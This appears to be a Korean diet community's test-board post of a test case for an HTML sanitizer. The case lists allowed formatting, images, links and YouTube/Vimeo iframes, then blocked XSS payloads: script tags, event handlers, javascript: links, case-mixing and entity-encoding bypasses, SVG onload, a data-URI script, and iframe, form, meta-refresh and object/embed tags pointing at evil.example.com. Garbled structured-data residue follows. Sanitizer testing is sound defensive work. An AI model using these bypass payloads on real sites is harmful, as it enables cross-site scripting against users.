지니어트

Iframe 백엔드 테스트

<h1>Sanitize 테스트</h1>

<!-- ✅ 허용: 기본 서식 -->
<p><strong>볼드</strong> <em>이탤릭</em> <u>밑줄</u> <s>취소선</s></p>
<blockquote>인용문입니다</blockquote>
<pre><code>코드 블록</code></pre>
<ul><li>목록1</li><li>목록2</li></ul>
<ol><li>번호1</li><li>번호2</li></ol>

<!-- ✅ 허용: 이미지 -->
<img src="https://via.placeholder.com/300x100" alt="정상이미지" width="300">

<!-- ✅ 허용: 링크 -->
<a href="https://google.com" target="_blank" rel="noopener">정상 링크</a>

<!-- ✅ 허용: YouTube -->
<iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ" width="560" height="315" allowfullscreen></iframe>

<!-- ✅ 허용: Vimeo -->
<iframe src="https://player.vimeo.com/video/76979871" width="640" height="360"></iframe>

<!-- ✅ 허용: 테이블 -->
<table><thead><tr><th>이름</th><th>나이</th></tr></thead><tbody><tr><td>홍길동</td><td>30</td></tr></tbody></table>

<!-- ✅ 허용: 스타일/클래스 -->
<div class="ql-editor" style="color: red; font-size: 18px;">스타일 적용 텍스트</div>

<!-- ❌ 차단: script -->
<script>alert('XSS-script')</script>

<!-- ❌ 차단: onerror -->
<img src="x" onerror="alert('XSS-onerror')">

<!-- ❌ 차단: onmouseover -->
<div onmouseover="alert('XSS-hover')">마우스 올려보세요</div>

<!-- ❌ 차단: onclick -->
<a href="#" onclick="alert('XSS-onclick')">클릭해보세요</a>

<!-- ❌ 차단: javascript scheme -->
<a href="javascript:alert('XSS-href')">javascript href</a>

<!-- ❌ 차단: 허용 안된 iframe -->
<iframe src="https://evil.example.com/steal"></iframe>

<!-- ❌ 차단: form -->
<form action="https://evil.example.com"><input type="text" value="탈취"><button>전송</button></form>

<!-- ❌ 차단: meta refresh -->
<meta http-equiv="refresh" content="0;url=https://evil.example.com">

<!-- ❌ 차단: object/embed -->
<object data="https://evil.example.com/mal.swf"></object>
<embed src="https://evil.example.com/mal.swf">

<!-- ❌ 차단: SVG XSS -->
<svg onload="alert('XSS-svg')"><circle r="50"></circle></svg>

<!-- ❌ 차단: 대소문자 우회 -->
<ScRiPt>alert('XSS-case')</ScRiPt>

<!-- ❌ 차단: HTML 인코딩 우회 -->
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert('XSS-encode')">인코딩 우회</a>

<!-- ❌ 차단: 이벤트 핸들러 변형 -->
<img src=x onerror=alert`XSS-backtick`>

<!-- ❌ 차단: body onload -->
<body onload="alert('XSS-body')">

<!-- ❌ 차단: style 태그 -->
<style>body{background:url('javascript:alert(1)')}</style>

<!-- ❌ 차단: data scheme 이미지 -->
<img src="data:text/html,<script>alert('XSS-data')</script>">
0
0
댓글 0
    \n\n\n\n\n\n
    마우스 올려보세요
    \n\n\n클릭해보세요\n\n\njavascript href\n\n\n\n\n\n
    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n인코딩 우회\n\n\n\n\n\n\n\n\n\n\n\nalert('XSS-data')\">", "articleBody": "

    Sanitize 테스트

    \n\n\n

    볼드 이탤릭 밑줄 취소선

    \n
    인용문입니다
    \n
    코드 블록
    \n
    • 목록1
    • 목록2
    \n
    1. 번호1
    2. 번호2
    \n\n\n\"정상이미지\"\n\n\n정상 링크\n\n\n\n\n\n\n\n\n
    이름나이
    홍길동30
    \n\n\n
    스타일 적용 텍스트
    \n\n\n\n\n\n\n\n\n
    마우스 올려보세요
    \n\n\n클릭해보세요\n\n\njavascript href\n\n\n\n\n\n
    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n인코딩 우회\n\n\n\n\n\n\n\n\n\n\n\nalert('XSS-data')\">", "video": [], "interactionStatistic": [], "isPartOf": { "@type": "WebPage", "identifier": "990512", "name": "다이어트 톡", "url": "https://test.geniet.co.kr/community/diet_talk", "relatedLink": [ "https://test.geniet.co.kr/community/diet_talk/2414836", "https://test.geniet.co.kr/community/diet_talk/2414611", "https://test.geniet.co.kr/community/diet_talk/2414543", "https://test.geniet.co.kr/community/diet_talk/2414539", "https://test.geniet.co.kr/community/diet_talk/2414538", "https://test.geniet.co.kr/community/diet_talk/2414537", "https://test.geniet.co.kr/community/diet_talk/2414510", "https://test.geniet.co.kr/community/diet_talk/2414358", "https://test.geniet.co.kr/community/diet_talk/2414353", "https://test.geniet.co.kr/community/diet_talk/2413904", "https://test.geniet.co.kr/community/diet_talk/2413065", "https://test.geniet.co.kr/community/diet_talk/2413062", "https://test.geniet.co.kr/community/diet_talk/2412851", "https://test.geniet.co.kr/community/diet_talk/2412726", "https://test.geniet.co.kr/community/diet_talk/2412698", "https://test.geniet.co.kr/community/diet_talk/2412697", "https://test.geniet.co.kr/community/diet_talk/2412696", "https://test.geniet.co.kr/community/diet_talk/2412114", "https://test.geniet.co.kr/community/diet_talk/2410783", "https://test.geniet.co.kr/community/diet_talk/2407293" ] }, "comment": [] }